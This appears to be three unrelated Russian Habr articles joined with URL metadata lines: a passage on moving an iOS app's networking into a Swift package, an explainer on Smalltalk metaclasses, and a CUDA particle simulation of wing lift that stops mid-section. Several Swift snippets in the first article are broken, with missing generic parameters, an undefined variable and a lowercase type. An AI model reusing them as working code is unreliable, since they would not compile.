Во-первых, я не считал что на приложение, в котором на тот момент было 4-5 экранов нэтив и вебвью, необходимы модули. Во-вторых, не понимал какие модули выделить я смогу. В-третьих, боялся взять задачу и не сделать ее.
Но потом я понял - нужно это делать прямо сейчас, или потом будет очень сложно. Я решил, что не хочу разбивать обросшее сложной логикой взаимодействия приложение, а сделаю это сейчас, пока это не так сложно.
### Какие модули я решил выделить?
1. Сетевой слой (Про него сегодня хочется поговорить)
2. Слой работы с данными на клиенте (Будет во второй части)
3. Модуль с экраном для тестировщиков (Будет в третьей части)
Сетевой слой
------------
Он у меня реализован с помощью нативного URLSession. Я взял уже не помню откуда идею простейшего сетевого взаимодействия.
В слой я вынес абсолютно все файлы, которые хоть как то связаны с сетью. То есть, вынес реализацию запросов на сервер, реализацию отправки параметров в JS у вебвью, а так же работу с Firebase. Весь модуль я покрыт unit тестами, но сразу сделал их, чтобы можно было проверить и работу с бекендом. Перейдем к реализации.
У меня есть базовый билдер АПИ:
```
protocol APIBuilder {
var urlRequest: URLRequest { get }
var baseUrl: URL { get }
var path: String { get }
}
```
А есть конкретные реализации:
```
enum ModelsAPI {
case getModelsPerPage(Int)
case getModelByIds(Int)
}
extension ModelsAPI: APIBuilder {
var urlRequest: URLRequest {
switch self {
case .getModelsPerPage(let page):
var components = URLComponents(string: baseUrl.appendingPathComponent(path).absoluteString)
components?.queryItems = [
URLQueryItem(name: "page", value: "\(page)")
]
guard let url = components?.url else { return URLRequest(url: baseUrl.appendingPathComponent(path)) }
var request = URLRequest(url: url)
request.httpMethod = "POST"
return request
case .getModelByIds(let id):
var request = URLRequest(url: baseUrl.appendingPathComponent(path).appendingPathComponent("\(id)"))
request.httpMethod = "GET"
return request
}
}
var path: String {
return "api/models"
}
}
```
При этом есть и ошибки, которые сетевой слой возвращает, в зависимости от ситуации:
```
/// Custom errors of NetworkLayer
public enum APIError: Error {
case decodingError
case errorCode(Int)
case unknown
}
extension APIError: LocalizedError {
public var errorDescription: String? {
switch self {
case .decodingError:
return "APIError: decodingError"
case .errorCode(let code):
return "APIError: \(code)"
case .unknown:
return "APIError: unknown"
}
}
}
```
Сервис, который обрабатывает запрос:
```
final class NetworkService {
func request(from endpoint: APIBuilder) -> AnyPublisher {
return ApiManager
.sharedInstance
.dataTaskPublisher(for: endpoint.urlRequest)
.receive(on: DispatchQueue.main)
.mapError { error in
print("error on", error.failingURL)
return APIError.unknown
}
.flatMap { data, response -> AnyPublisher in
guard let response = response as? HTTPURLResponse else {
return Fail(error: APIError.unknown).eraseToAnyPublisher()
}
if (200...299).contains(response.statusCode) {
let jsonDecoder = JSONDecoder()
return Just(data)
.decode(type: T.self, decoder: jsonDecoder)
.mapError { \_ in APIError.decodingError}
.eraseToAnyPublisher()
} else {
return Fail(error: APIError.errorCode(response.statusCode)).eraseToAnyPublisher()
}
}
.eraseToAnyPublisher()
}
}
```
А также реализация ModelsNetworkService:
```
/// Service to network work of models
public class ModelsNetworkService {
public init() {}
fileprivate lazy var networkService = NetworkService()
fileprivate var loadModelByIdResponse: ResponseModel?
fileprivate var modelsResponse: ModelsResponseModel?
fileprivate var cancellables = Set()
/// Method to get single model by id
/// - Parameters:
/// - modelId: Model id from backend
/// - completion: It return's single model or APIError
public func loadModel(byId modelId: Int, completion: @escaping (model?, APIError?) -> Void ) {
let cancellable = networkService.request(from: ModelsAPI.getModelByIds(modelId))
.sink { [weak self] res in
guard let strongSelf = self else { return }
switch res {
case .finished:
guard let model = strongSelf.loadModelByIdResponse!.data else {
return
}
completion(restaurant, nil)
case .failure(let error):
print("loadModel byIds: \(error.errorDescription)")
completion(nil, error)
}
} receiveValue: { [weak self] response in
self?.loadModelByIdResponse = response
}
cancellables.insert(cancellable)
}
/// Method to get ModelsResponse by location
/// - Parameters:
/// - page: Current page to pagination
/// - completion: It return's single ModelsResponse or APIError
public func loadModels(page: Int, completion: @escaping (ModelsResponse?, APIError?) -> Void ) {
let cancellable = networkService
.request(from: ModelsAPI.getModelsPerPage(page))
.sink { [weak self] res in
guard let strongSelf = self else { return }
switch res {
case .finished:
completion(strongSelf.modelsResponse, nil)
case .failure(let error):
completion(nil, error)
}
} receiveValue: { [weak self] response in
self?.modelsResponse = response
}
cancellables.insert(cancellable)
}
}
```
Все это я поместил в SPM
```
import PackageDescription
let package = Package(
name: "NetworkLayer",
platforms: [.iOS(.v13), .macOS(.v10_12)],
products: [
// Products define the executables and libraries a package produces, and make them visible to other packages.
.library(
name: "NetworkLayer",
targets: ["NetworkLayer"]),
],
dependencies: [
// Dependencies declare other packages that this package depends on.
// .package(url: /* package url */, from: "1.0.0"),
.package(name: "Firebase", url: "https://github.com/firebase/firebase-ios-sdk.git", from: "7.0.0")
],
targets: [
// Targets are the basic building blocks of a package. A target can define a module or a test suite.
// Targets can depend on other targets in this package, and on products in packages this package depends on.
.target(
name: "NetworkLayer",
dependencies: [
// The product name you need. In this example, FirebaseAuth.
.product(name: "FirebaseAnalytics", package: "Firebase"),
.product(name: "FirebaseCrashlytics", package: "Firebase")
], path: "Sources"
),
.testTarget(
name: "NetworkLayerTests",
dependencies: ["NetworkLayer"]),
]
)
```
Теперь же сам тесты:
```
func testLoadRestaurants() {
var modelsMain: [Model]? = nil
let expectation = XCTestExpectation.init(description: "testLoadModels")
modelsNetworkService.loadModels(page: 1) { [weak self] response, error in
if let response = response {
modelsMain = response.data
expectation.fulfill()
} else {
XCTFail("Fail")
}
}
wait(for: [expectation], timeout: 30.0)
print(modelsMain?.count)
XCTAssertTrue(modelsMain?.count ?? 0 > 0)
}
```
Я, также, подключаю firebase, но взаимодействие с ним не вижу смысла показывать.
Этот слой я подключаю к основному проекту и использую таким образом:
```
import NetworkLayer
...
fileprivate lazy var modelsNetworkService = ModelsNetworkService()
...
modelsNetworkService.loadModels(page: page) { [weak self] response, error in
guard let strongSelf = self else { return }
if let response = response {
strongSelf.output.loadedModels(modelsResponse: response, meta: response.meta)
} else if let error = error {
strongSelf.output.loadingModelsError(error: error.localizedDescription)
}
}
```
Стоит еще о кое чем рассказать. Раньше была путаница с моделями: какая в сетевой слой, какая во внутренний слой обработки данных. Теперь я вынес модели связанные с сетью в этот же модуль и путаница ушла.
Заключение первой части
-----------------------
В данный момент я выделил от проекта все три модуля и могу сказать, что скорость билда в firebase уменьшилось с 15-20 минут до 3-4 минут максимум. За этим очевидным плюсом скрывается еще то, что архитектура проекта стала более правильной и понятной.
Я стараюсь поддерживать в слоях SOLID и благодаря этому изменения конкретного слоя не влияют на другие слои и основное приложение в фатальном плане.
Надеюсь статья вышла интересной :-) Буду рад критике, и предложениям по улучшению как реализации, так и рассказа. | https://habr.com/ru/post/583962/ | null | ru | null |
# Метаклассы в Smalltalk
Эта статья, надеюсь, будет полезна не только тем, кто хочет освоить Smalltalk, но и тем, кто желает получше разобраться в проблемах построения объектных систем. В Smalltalk-е классы являются полноценными объектами, и то, как это реализовано, является отличным примером построения развитой системы на основе нескольких простых принципов без излишнего усложнения.
(Впрочем, и связь с недавно вышедшей статьей [Метаклассы в Objective-C](http://habrahabr.ru/post/207786/) отрицать не буду.)
Чтобы разобраться с понятием метаклассов нам понадобится всего два принципа, из которых мы сделаем (почти очевидные) логические выводы.
Первый принцип является основополагающим для объектного программирования в целом и, по идее, должен быть таковым для любого объектного языка (для Smalltalk в любом случае это так):
> Всё является объектом, то есть может получать сообщения и реагировать на них.
Классы так же подпадают под это самое «всё». Например, мы порождаем объекты, посылая сообщения классу, экземпляр которого мы хотим создать:
```
point := Point x: 1 y: 2.
```
Никаких сверхъестественных спец-операций по чудесному созданию объектов, только посылка сообщений. В данном случае мы посылаем сообщение `#x:y:` классу `Point` в надежде получить точку по двум координатам.
Второй принцип не является основополагающим для объектного программирования, но в Smalltalk (как и в большинстве современных объектных языков), к сожалению, тоже был заложен:
> Поведение объекта определяется его классом: в классе задается набор методов, описывающих реакцию экземпляров на то или иное сообщение.
Так, все методы для точек определены в классе `Point` — это понятно. Мы можем узнать класс объекта, послав ему сообщение `#class`.
```
point class."-> Point"
```
Но где определен метод `#x:y:`, который описывает обработку одноименного сообщения классом `Point`?
Чтобы не усложнять систему, вводя какие-то новые сущности или правила, можно воспользоваться уже имеющимся: метод `#x:y:` должен быть определен в классе, экземпляром которого является класс `Point`. Конструкцию «класс класса» заменим термином «метакласс». Само собой, метакласс `Point` можно получить послав сообщение `#class` классу `Point`:
```
point class class."-> Point class"
Point class."-> Point class"
```
Как видим, метаклассу `Point` не присвоено в системе собственное имя. Метаклассы обозначаются через Smalltalk-выражения, с помощью которых их можно получить.
Это обстоятельство также показывает, что **у каждого класса есть свой собственный метакласс**. Больше одного метакласса на класс нам точно не нужно, но и по одному на каждый класс — тоже многовато. Зачем нужно так много?
В Smalltalk-76 на все классы был всего один метакласс. Но если несколько классов имеют один и тот же объект в качестве своего метакласса, то и поведение они имеют одинаковое, так как оно определено именно в метаклассе. Например, сообщение `#x:y:` в этом случае можно было бы послать любому классу: `String`, `Integer` и т.д. Очевидно, это не очень хорошо. Альтернативой является полное отсутствие кастомного поведения на стороне класса (что ничем не лучше), или (еще хуже) ставящая программиста в зависимость от потусторонних сил черная магия на уровне языка — как в большинстве «современных» мейнстримовых творений.
Поэтому, для каждого класса в системе нам нужен один и ровно один метакласс, который определяет поведение этого класса. В Smalltalk метакласс автоматически создается «за кадром» при создании нового класса.
Учитывая, что метаклассы (см. первый принцип) являются объектами и (см. второй принцип) являются экземплярами некоторого класса, делаем вывод, что вышесказанное применимо и к самим метаклассам. Но есть и особенность: в отличие от «обычных» классов, метаклассам не нужно специфичное поведение — они все одинаковым образом хранят поведение своих экземпляров, больше от ничего не требуется. Поэтому уже нет необходимости заводить отдельный (мета-)метакласс на каждый метакласс, достаточно одного объекта, который определит поведение всех метаклассов в системе. Его назвали `Metaclass`:
```
Point class class."-> Metaclass"
```
Основываясь на тех же принципах, и применяя ту же логику, делаем вывод о том, что `Metaclass` так же должен иметь метакласс:
```
Metaclass class."-> Metaclass class"
```
Обратите внимание, собственного имени метакласс `Metaclass`-а (за ненадобностью) не удостоился.
И еще раз повторяем пройденное: метаклассом `Metaclass` (как и всех метаклассов) является `Metaclass`:
```
Metaclass class class."-> Metaclass"
```
Цепочка замкнулась, вот что у нас получилось:
Мы не затрагивали вопрос наследования, но здесь все просто: поскольку поведение классов наследуется так же, как поведение объектов, суперклассом метакласса C является метакласс суперкласса C:
```
Point superclass."-> Object"
Point class superclass."-> Object class"
Object superclass."-> ProtoObject"
Object superclass class."-> ProtoObject class"
```
Данное правило (вынуждено) нарушается только там, где обрывается цепочка наследования: ProtoObject не имеет суперкласса, но его метакласс должен быть классом:
```
ProtoObject superclass."-> nil"
ProtoObject class superclass."-> Class"
```
В заключении — пара небольших замечаний, не относящихся к сути дела, но интересных.
Метаклассы не являются полноценными классами, так как первым не требуется вся функциональность последних:
```
Metaclass superclass."-> ClassDescription"
```
И для тех, кто захочет полностью закончить картину, но не хочет запускать Smalltalk:
```
Class superclass."-> ClassDescription"
ClassDescription superclass."-> Behavior"
Behavior superclass."-> Object"
``` | https://habr.com/ru/post/207982/ | null | ru | null |
# Симуляция подъёмной силы Ньютона методом частиц на CUDA
<https://www.youtube.com/playlist?list=PLwr8DnSlIMg0KABru36pg4CvbfkhBofAi>
Как-то на Хабре мне попалась довольно любопытная статья [“Научно-технические мифы, часть 1. Почему летают самолёты?”](https://habr.com/ru/post/369603/). Статья довольно подробно описывает, какие проблемы возникают при попытке объяснить подъёмную силу крыльев через [закон Бернулли](https://ru.wikipedia.org/wiki/%D0%97%D0%B0%D0%BA%D0%BE%D0%BD_%D0%91%D0%B5%D1%80%D0%BD%D1%83%D0%BB%D0%BB%D0%B8) или модель подъёмной силы Ньютона ([Newtonian lift](https://www.grc.nasa.gov/www/k-12/airplane/wrong2.html)). И хотя статья предлагает другие объяснения, мне бы всё же хотелось остановиться на модели Ньютона подробнее. Да, модель Ньютона не полна и имеет допущения, но она даёт более точное и интуитивное описание явлений, чем закон Бернулли.
Основной недостаток этой модели — это отсутствие взаимодействия частиц газа друг с другом. Из-за этого при нормальных условиях она даёт некорректные результаты, хотя всё ещё может применяться для экстремальных условий, где взаимодействием можно пренебречь.
Я же решил проверить, что же произойдёт в модели Ньютона если её улучшить. Что если добавить в неё недостающий элемент межатомного взаимодействия? Исходный код и бинарники получившегося симулятора доступны на [GitHub](https://github.com/tony-space/WingSimulator).
Перед тем как мы начнём, я бы хотел сразу обозначить, что это статься не о физике самой модели. Эта статья о GPGPU-программировании. Мы не будем рассматривать физические свойства самой модели, потому что она [груба](https://www.grc.nasa.gov/www/k-12/airplane/wrong2.html) и не подходит для настоящих расчётов. И всё же, эта неточная модель даёт куда более интуитивное описание явления подъёмной силы, чем закон Бернулли.
Computational Fluid Dynamics
----------------------------
Вообще, задачами точной симуляции поведений жидкостей и газов занимается вычислительная гидродинамика ([Computational fluid dynamics](https://en.wikipedia.org/wiki/Computational_fluid_dynamics), CFD), где жидкости и газы в общем случае хорошо описываются уравнениями Навье-Стокса.
Если вас пугает внешний вид этих уравнений, но вы хотели бы разобраться, то для вас есть очень хорошее объяснение в [7-м томе лекций Ричарда Фейнмана](https://www.ozon.ru/context/detail/id/2156784/)/[The Feynman Lectures on Physics, Volume II](https://www.feynmanlectures.caltech.edu/II_toc.html). Загляните в главы 38 (“Упругость”), 40 (“Течение ‘сухой’ воды”) и 41 (“Течение ‘мокрой’ воды”). Ну или просто посмотрите это видео.
Если совсем кратко и на пальцах, то система уравнений Навье-Стокса — это векторное уравнение второго закона Ньютона. Эта система определяет равнодействующую всех сил (давления, вязкости и гравитации) для всех направлений. Как правило, дополнительно задают второе векторное уравнение, обеспечивающее условие несжимаемости.
Принципиально систему уравнений можно решать двумя подходами: [методами Эйлера или Лагранжа](https://en.wikipedia.org/wiki/Lagrangian_and_Eulerian_specification_of_the_flow_field). Эйлеров подход рассматривает среду как поля векторных и скалярных величин. Подход Лагранжа рассматривает отдельно каждую частицу среды.
Один из многих способов численно решить систему уравнений — это применить [метод конечных элементов](https://en.wikipedia.org/wiki/Finite_element_method) в связке с [адаптивным сеточным методом](https://en.wikipedia.org/wiki/Adaptive_mesh_refinement) в случае подхода Эйлера. Зачем нужна адаптивность сетки и как её можно реализовать, подробно и доступно рассказали ребята из SpaceX [в своём докладе](https://www.youtube.com/watch?v=vYA0f6R5KAI). Эйлеров подход как правило, но не обязательно, применяется для моделирования замкнутых объемов неразрывных сред, т. е. тех, в которых отсутствуют пустые места и включения других сред. Для иных сред чаще всего реализуют подход Лагранжа, через метод сглаженных частиц ([Smoothed-particle hydrodynamics](https://en.wikipedia.org/wiki/Smoothed-particle_hydrodynamics), SPH) или [finite point method](https://en.wikipedia.org/wiki/Finite_point_method). Оба метода активно применяются для моделирования воды с полным набором явлений: брызги, капли, лужи, смачивание поверхностей и т. д. Можно даже [сымитировать пену](https://www.youtube.com/watch?v=O-52enqUSNw) или [пузыри](https://www.youtube.com/watch?v=MD_k3p4MH-A), если включить в модель частицы воздуха. Реконструкцию поверхности, а точнее [изоповерхности](https://en.wikipedia.org/wiki/Isosurface), можно произвести любым интересующим вас способом (screen-space meshes, dual contouring, marching tetrahedra, metaballs). Если вы знаете другие интересные подходы, добро пожаловать в комментарии.
UPD: пользователи в комментариях также упоминули о существовании метода конечных объёмов ([Finite Volume Method](https://en.wikipedia.org/wiki/Finite_volume_method)). Мне удалось найти [сравнение](https://knowledge.autodesk.com/support/cfd/learn-explore/caas/CloudHelp/cloudhelp/2014/ENU/SimCFD/files/GUID-12A9AED8-2047-4D3A-BC80-82BE9CF47517-htm.html) метода конечных элементов с методом конечных объёмов.
Discrete Element Method
-----------------------
Моей задачей было найти такой подход, который позволит обсчитывать миллионы частиц и наблюдать за эволюцией системы практически в реальном времени.
Метод дискретного элемента ([Discrete Element Method](https://en.wikipedia.org/wiki/Discrete_element_method), DEM) показался мне очень привлекательным, потому что он решает практически схожую задачу. Однако он в первую очередь предназначен для сыпучих и гранулированных сред, где у каждой частицы в трёхмерном пространстве есть позиция, ориентация, произвольная форма и масса.
Чтобы упростить вычисления, я решил оставить у частиц только две степени свободы (координаты X и Y), одинаковую массу и радиус. При построении своей модели в угоду производительности я хотел отбросить параметры и факторы, которые порождают эффекты второго порядка. Однако при моделировании сложных систем они могут быть очень существенны. Один из показательных примеров — это использование NASA модели идеального газа вместо реального при проектировании космических челноков. В результате, во время миссии STS-1 проявились различные аномалии при входе в атмосферу. Подробнее в разделе [Mission Anomalies](https://en.wikipedia.org/wiki/STS-1#Mission_anomalies).
У DEM есть одна важная особенность — это обнаружение столкновений постфактум ([Discrete Collision Detection](https://en.wikipedia.org/wiki/Collision_detection#A_posteriori_(discrete)_versus_a_priori_(continuous))). Разрешение столкновений происходит простым силовым воздействием по закону Гука.
В противоположность этому подходу существует априорный метод [Continuous Collision Detection](https://en.wikipedia.org/wiki/Collision_detection#A_posteriori_(discrete)_versus_a_priori_(continuous)) (CCD), который рассчитывает, когда столкновение произойдёт в будущем. Зная точное время контакта, можно скорректировать временной шаг, и избежать неприятных физических артефактов. Метод активно применяется в современных играх. Для игр CCD очень важен чтобы объекты не туннелировали друг через друга, не проваливались друг в друга и не «застревали в текстурах». Метод поддерживается современными движками, в [Unity](https://docs.unity3d.com/Manual/ContinuousCollisionDetection.html) и в [Unreal](https://docs.unrealengine.com/en-US/Engine/Physics/PhysicsBodies/Reference/index.html#advanced) точно.
*Подробный доклад о методе Continuous Collision Detection*
Но у CCD есть две большие проблемы. Первая — это при всей своей точности он непропорционально ресурсоёмок. А для большого количества частиц он сделает расчёты совершенно непрактичными. Вторая — при увеличении плотности частиц, время свободного пробега каждой уменьшается, вынуждая симулятор делать всё меньшие и меньшие шаги, чтобы не пропустить столкновения. В одном из моих проектов очень хорошо видно, как временной шаг вырождается практически в ноль по мере увеличения плотности “планетарных сгустков”
Поэтому, из практических соображений я решил воспользоваться апостериорной методикой обнаружения столкновений из DEM.
Эффект пушечного ядра
---------------------
Разработав первую версию симуляции, я обнаружил, что частицы, сталкивающиеся с фронтальной частью крыла, ведут себя очень знакомо. Передняя кромка крыла за счёт своей каплевидной формы при столкновении с набегающим потоком воздуха ударяется об него, расталкивая молекулы. Отраженные частицы создают ударную волну, которая отражает следующие. А те в свою очередь воздействуют на следующий слой и так далее.
Я слышал о подобном эффекте в одном документальном фильме от National Geographic. В нём рассказывалось, что это явление напрямую эксплуатировалось конструкторами космического челнока. Они сознательно сделали нос челнока тупым, чтобы на высоких скоростях он создавал ударную волну, которая защищает выдающиеся части фюзеляжа от разрушительной плазмы.
*Ударная волна создаёт щит (изображение National Geographic)*
В фильме этот эффект сравнили с пушечным ядром. Летать далеко — не задача ядер. Их задача — ударять. Им не нужна аэродинамическая форма. Именно поэтому тупой нос челнока так хорошо защищает весь аппарат.
Подробнее по ссылке с таймкодом <https://youtu.be/cx8XbaQNnxw?t=2206>
Удивительно, но именно этот эффект отлично наблюдается в симуляции. Вероятно, именно это взаимодействие слоёв воздуха в сочетании с углом атаки даёт ту самую подъёмную силу. На тепловой карте (heatmap) давления ниже отчётливо видны области высокого (красный и оранжевый цвета) и низкого (зелёный и синий) давления. Наличие взаимодействия между частицами сделало модель Ньютона интереснее.
Картинки ниже кликабельны и доступны в высоком разрешении.
[](https://habrastorage.org/webt/zp/u5/iv/zpu5ivarc2nz5fjmh_z4pcdjtwa.png)
*Тепловая карта давления (скалярная сумма модулей сил)*
[](https://habrastorage.org/webt/4n/bc/id/4nbcidd2mjatdqb_jtnfxoeipx4.png)
*Та же карта, только при большем масштабе*
[](https://habrastorage.org/webt/89/7t/t_/897tt_nwahioj-dew6xqh98wvno.png)
*Тепловая карта ускорений частиц*
Архитектура симулятора
----------------------
Давайте теперь рассмотрим, как устроен симулятор. Приложение состоит из двух независимых модулей:
1. Рендерер текущего состояния.
2. Модуль симуляции на CPU или CUDA.
Модули слабо связаны друг с другом и напрямую не зависят. Существует возможность проводить симуляцию в оффлайн режиме и рендерить результаты позднее. В CUDA-версии демонстрации рендеринг, что на видео в начале статьи, происходит каждые 16 шагов.
### Фазовое пространство
Концепция фазового пространства широко используется в различного рода симуляциях. Основная идея состоит в том, что все переменные системы, такие как позиция, ориентация, импульсы, и т.д., упаковываются в один большой вектор. Этот многомерный вектор обозначает точку в так называемом фазовом пространстве. Сама симуляция есть не что иное как движение точки через это пространство.
Такое представление очень удобно, потому что практически любую симуляцию можно выразить в таком виде. Движение точки состояния как правило выражается через обыкновенное дифференциальное уравнение первого порядка (Ordinary Differential Equation, ODE). Это уравнение имеет вид , где  — это позиция точки в фазовом пространстве, а  — чёрный ящик, способный определить скорость изменения состояния. Зная  и , можно посчитать следующее значение .
Вне зависимости от того, как работает f, симуляция — это всего лишь процесс численного интегрирования.
Подробнее по теме фазового пространства можно ознакомиться в разделах 'Differential Equation Basics' and 'Particle Dynamics' курса <https://www.cs.cmu.edu/~baraff/sigcourse/>
На канале 3Blue1Brown также доступны отличные материалы: [](https://www.youtube.com/playlist?list=PLZHQObOWTQDNPOjrT6KVlfJuKtYTftqH6)
<https://www.youtube.com/playlist?list=PLZHQObOWTQDNPOjrT6KVlfJuKtYTftqH6>
### Интегратор
После различных экспериментов я решил остановиться на самом грубом, но в то же время самом простом — методе Эйлера (Forward Euler). Я пробовал использовать метод Рунге-Кутты 4-го порядка (RK4), в том числе и с адаптивным шагом, но для конкретно этого сценария больше подошёл метод Эйлера. Преимущество RK4 в том, что он позволяет делать огромные временные шаги ценой четырёхкратного увеличения вычислений, что в некоторых сценариях оправданно. В моём же случае оказалось, что я привязан к малым временным шагам, из-за необходимости избегать туннелирования частиц друг через друга. Кстати, как работают интеграторы с адаптивным временным шагом опираясь на ошибку, можно почитать в ['Differential Equation Basics' lecture notes, section 3, 'Adaptive Stepsizes'](https://www.cs.cmu.edu/~baraff/sigcourse/notesb.pdf).
В данной симуляции, чтобы свести туннелирования к минимуму, адаптивность шага достигается следующим эвристическим правилом. Симулятор находит самую быструю частицу и вычисляет время, за которое эта частица пройдёт расстояние равное радиусу. Это время используется как временной шаг на текущей итерации.
**CPU-версия основной функции симулятора. GPU-версия имеет незначительные отличия.**
```
float CSimulationCpu::ComputeMinDeltaTime(float requestedDt) const
{
auto rad = m_state.particleRad;
auto velBegin = m_curOdeState.cbegin() + m_state.particles;
auto velEnd = m_curOdeState.cend();
return std::transform_reduce(std::execution::par_unseq, velBegin, velEnd, requestedDt, [](const auto t1, const auto t2)
{
return std::min(t1, t2);
}, [&](const auto& v)
{
auto vel = glm::length(v);
auto radDt = rad / vel;
return radDt;
});
}
float CSimulationCpu::Update(float dt)
{
dt = ComputeMinDeltaTime(dt);
m_odeSolver->NextState(m_curOdeState, dt, m_nextOdeState);
ColorParticles(dt);
m_nextOdeState.swap(m_curOdeState);
return dt;
}
```
Вычисление производной состояния
--------------------------------
Теперь перейдём к сердцу симулятора — определению той самой функции f, упомянутой в параграфе “Фазовое пространство”. Ниже приведён высокоуровневый код солверов производной для CPU и CUDA версий. Стоит отметить, что CPU версия исторически появилась раньше, так как на ней было проще отладить математику. В CUDA версии появились некоторые улучшения и оптимизации, но суть осталась та же. Отличие состоит в переупорядочивании частиц. Подробнее в разделе “Реордеринг частиц”.
**Высокоуровневый алгоритм расчёта производной состояния**
```
//CPU-версия
void CDerivativeSolver::Derive(const OdeState_t& curState, OdeState_t& outDerivative)
{
ResetForces();
BuildParticlesTree(curState);
ResolveParticleParticleCollisions(curState);
ResolveParticleWingCollisions(curState);
ParticleToWall(curState);
ApplyGravity();
BuildDerivative(curState, outDerivative);
}
//CUDA-версия
void CDerivativeSolver::Derive(const OdeState_t& curState, OdeState_t& outDerivative)
{
BuildParticlesTree(curState);
ReorderParticles(curState);
ResetParticlesState();
ResolveParticleParticleCollisions();
ResolveParticleWingCollisions();
ParticleToWall();
ApplyGravity();
BuildDerivative(curState, outDerivative);
}
```
### Поиск столкновений между частицами
Как вы уже, наверное, могли понять, поиск столкновений — это краеугольный камень всех расчётов. В видео в самом начале статьи участвует 2’097’152 частиц. Среди всего этого количества нужно каким-то быстрым образом найти все сталкивающиеся пары. Интересно, но у этой проблемы **нет однозначно правильного решения**. Любой способ — это набор компромиссов и допущений.
Один из возможных вариантов — это использование Uniform Grid, то есть однородной сетки из ячеек на подобии шахматной доски. Одна из реализаций для GPU описана в статье [“Chapter 32. Broad-Phase Collision Detection with CUDA”](https://developer.nvidia.com/gpugems/gpugems3/part-v-physics-simulation/chapter-32-broad-phase-collision-detection-cuda).
*Каждая ячейка пространства содержит в себе список объектов (изображение Tero Karras, NVIDIA Corporation)*
В этом случае, поиск столкновений в среднем будет занимать порядка . Каждой частице нужно обойти списки в 9 (3x3) или 27 (3x3x3) ячейках для 2D или 3D случая соответственно. Ещё один приятный плюс структуры — это относительная простота распараллеливания её построения. Память под списки можно выделить либо заранее в виде массива, и вычислять выходной индекс через атомарный инкремент, либо строить классический RCU lock-free односвязный список. Nvidia в своих видеокартах уже давно добавила [поддержку кучи](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#dynamic-global-memory-allocation-and-operations), поэтому можно вызвать malloc()/free() прямо в device коде, выделяя и освобождая элементы списков.
*CppCon 2017: Fedor Pikus “Read, Copy, Update, then what? RCU for non-kernel programmers”*
Однако, у этой структуры есть следующий ряд фундаментальных ограничений:
1. Множество значений координат ограничено размером самой сетки.
2. Близкие ячейки в евклидовом пространстве как правило расположены далеко в адресном пространстве RAM/VRAM, не разделяя единую кэш-линию, что создаёт дополнительную нагрузку на шину памяти.
3. При низкой плотности объектов или малом их количестве структура данных начинает потреблять больше памяти, чем сами данные.
4. Возможно появление чрезмерно длинных списков при большой плотности объектов.
5. В связи с аппаратными особенностями планирования потоков на GPU, некоторые lock-free структуры не способны работать корректно (<https://youtu.be/86seb-iZCnI?t=2311>, ссылка с таймкодом).
Другой вариант, который я решил использовать в этой симуляции — это BVH-дерево на основе Z-кривой. Я наткнулся на эту довольно любопытную структуру данных, когда искал альтернативы однородной сетке.
Первая важная особенность этой структуры данных — в её основе лежит фрактальная Z-кривая, она же Кривая Мортона.
*Фрактальная Z-кривая (изображение Wikipedia)*
*Принцип вычисления индекса на кривой — чередование битов координат
(изображение Wikipedia)*
Задача этой кривой, как и любой другой space-filling curve, состоит в том, чтобы упаковать пространства высших размерностей в одномерное пространство. Если присвоить каждому объекту в 2D/3D пространстве индекс на любой такой кривой, а затем отсортировать все объекты по этому индексу, то мы увидим, что объекты, расположенные близко в геометрическом пространстве, как правило будут лежать близко и в одномерном пространстве. Это свойство позволяет существенно снизить нагрузку на шину памяти. Кстати, если вам нужно обрабатывать изображения, выполняя различные свёрточные операции и применяя фильтры, возможно, вам стоит хранить пиксели в виде одной из такой кривых, а не в виде матрицы.
Вторая главная особенность этой структуры данных состоит в том, что построение отношений между узлами дерева выполняется в параллельном режиме. В процессе построения связей потоки никак не общаются друг с другом, что позволяет достичь максимального уровня параллелизма. Это и не удивительно, потому что подход был предложен инженером Tero Karras из Nvidia, специально для решения задач поиска столкновений на видеокартах.
Детально алгоритм описан в статье [“Maximizing Parallelism in the Construction of BVHs, Octrees, and k-d Trees”](https://developer.nvidia.com/blog/wp-content/uploads/2012/11/karras2012hpg_paper.pdf).
Краткое изложение:
1. Обход дерева: <https://developer.nvidia.com/blog/thinking-parallel-part-ii-tree-traversal-gpu/>
2. Построение дерева: <https://developer.nvidia.com/blog/thinking-parallel-part-iii-tree-construction-gpu/>
В сухом остатке, алгоритм следующий. Для каждого из N объектов запускается отдельный поток, который вычисляет bounding box и, на основе его центра, вычисляет код Мортона (индекс на Z-кривой). После этого этапа боксы сортируются в порядке возрастания кода.
*Формирование кодов Мортона (изображение Tero Karras, NVIDIA Corporation)*
Затем инициализируются узлы дерева. В частности, ещё до построения самого дерева, известно, что для N листьев будет существовать N-1 промежуточных узлов. Соответственно, необходимые аллокации и первичные инициализации осуществляются на этом шаге. Далее наступает самый хитроумный этап. Алгоритм ищет различия в кодах, двигаясь от старших бит к младшим. Наличие разницы сигнализирует о том, что нужно сформировать промежуточный узел. Ниже на рисунках представлены однопоточная версия алгоритма и его распараллеленная версия.
[](https://habrastorage.org/webt/en/gv/sg/engvsgcukzfre7xt3kcdytofq38.png)
*Последовательный алгоритм построения префиксного дерева (изображение Tero Karras, NVIDIA Corporation)*
[](https://habrastorage.org/webt/po/yf/ss/poyfsspl1ovcz7ed3z4zzspqjmk.png)
*Параллельный алгоритм построения префиксного дерева (изображение Tero Karras, NVIDIA Corporation)*
После того, как связи между узлами выстроены, начинается этап формирования BVH-структуры.
[](https://habrastorage.org/webt/mf/r3/ni/mfr3nikftedrvlqkzaccqytktw4.png)
*BVH-структура (изображение Tero Karras, NVIDIA Corporation)*
N потоков стартуют с листьев и, поднимаясь к корню, обновляют боксы промежуточных узлов. Так как не определено, какой из детей придёт к родителю первым, то в промежуточных узлах хранится специальный флаг, изначально установленный в ноль. Оба ребёнка с помощью атомарной функции [atomicExch()](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html#atomicexch) устанавливают флаг в 1. Функция возвращает старое значение, которое было до модификации. Если ребёнку функция вернула 0, то значит он первый. Это также означает, что текущему потоку нельзя модифицировать бокс родителя, потому что бокс его сиблинга может быть ещё не готов. На этом этапе поток завершает своё исполнение. Если же ребёнку функция вернула 1, то можно смело модифицировать родительский бокс, объединяя боксы обоих сиблингов, и снова повторить процесс.
После этого этапа дерево готово к осуществлению запросов.
### Реакция на столкновения
В симуляции существует два типа столкновений “частица-частица” и “частица-сегмент профиля”.
